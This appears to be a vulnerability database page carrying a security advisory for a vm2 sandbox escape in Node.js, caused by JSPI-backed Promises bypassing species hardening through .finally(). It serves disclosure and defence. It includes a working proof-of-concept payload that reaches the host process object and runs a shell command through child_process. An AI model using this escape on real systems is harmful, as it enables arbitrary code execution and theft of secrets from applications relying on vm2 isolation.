Title

vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass

Summary

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, a sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary. This issue has been patched in version 3.11.4.

Vulnerability from github – Published: 2026-05-29 17:51 – Updated: 2026-06-12 20:55

Summary

vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass

Details

Summary

A sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.

This is a critical sandbox escape: any application that treats vm2 as a security boundary may be fully compromised.

Details

On node26, JSPI-backed Promises created through WebAssembly.promising(...) do not behave like ordinary sandbox Promises.

That path yields a host-originated TypeError during JSPI processing. Inside attacker-controlled species logic reached through .finally(), the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host process, which leads to arbitrary code execution in the host process.

This behavior is specific to the JSPI / .finally() interaction. In contrast, the corresponding then / catch paths still appeared to route through vm2's expected localPromise machinery in my testing.

PoC

Environment: node:26-bookworm

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
(()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{
    let P=e.constructor.constructor('return process')()
    P.mainModule.require('child_process').execSync('touch pwned');
    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=>{})});return 1})()
`));

Impact

This is a sandbox escape leading to arbitrary code execution in the host process.

Who is impacted:

any application using vm2 to execute attacker-controlled JavaScript as a security boundary
especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)

Practical impact:

arbitrary command execution in the host process
arbitrary file read / write accessible to the host process
theft of secrets, tokens, credentials, and application data
complete compromise of services relying on vm2 isolation

Severity

9.8 (Critical)

29 vulnerabilities in this advisory, including CVE-2026-47210.

CVE-2026-47210

A flaw was found in vm2, an open-source virtual machine (VM) sandbox for Node.js. This sandbox escape vulnerability allows an attacker to execute arbitrary code in the host process. This occurs when untrusted code is executed with asynchronous (async) support on runtimes that expose WebAssembly JavaScript Promise Integration (JSPI). Specifically, a JSPI-backed Promise can bypass expected Promise-species hardening, exposing a host-originated rejection object to attacker-controlled logic and breaking the sandbox boundary.

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
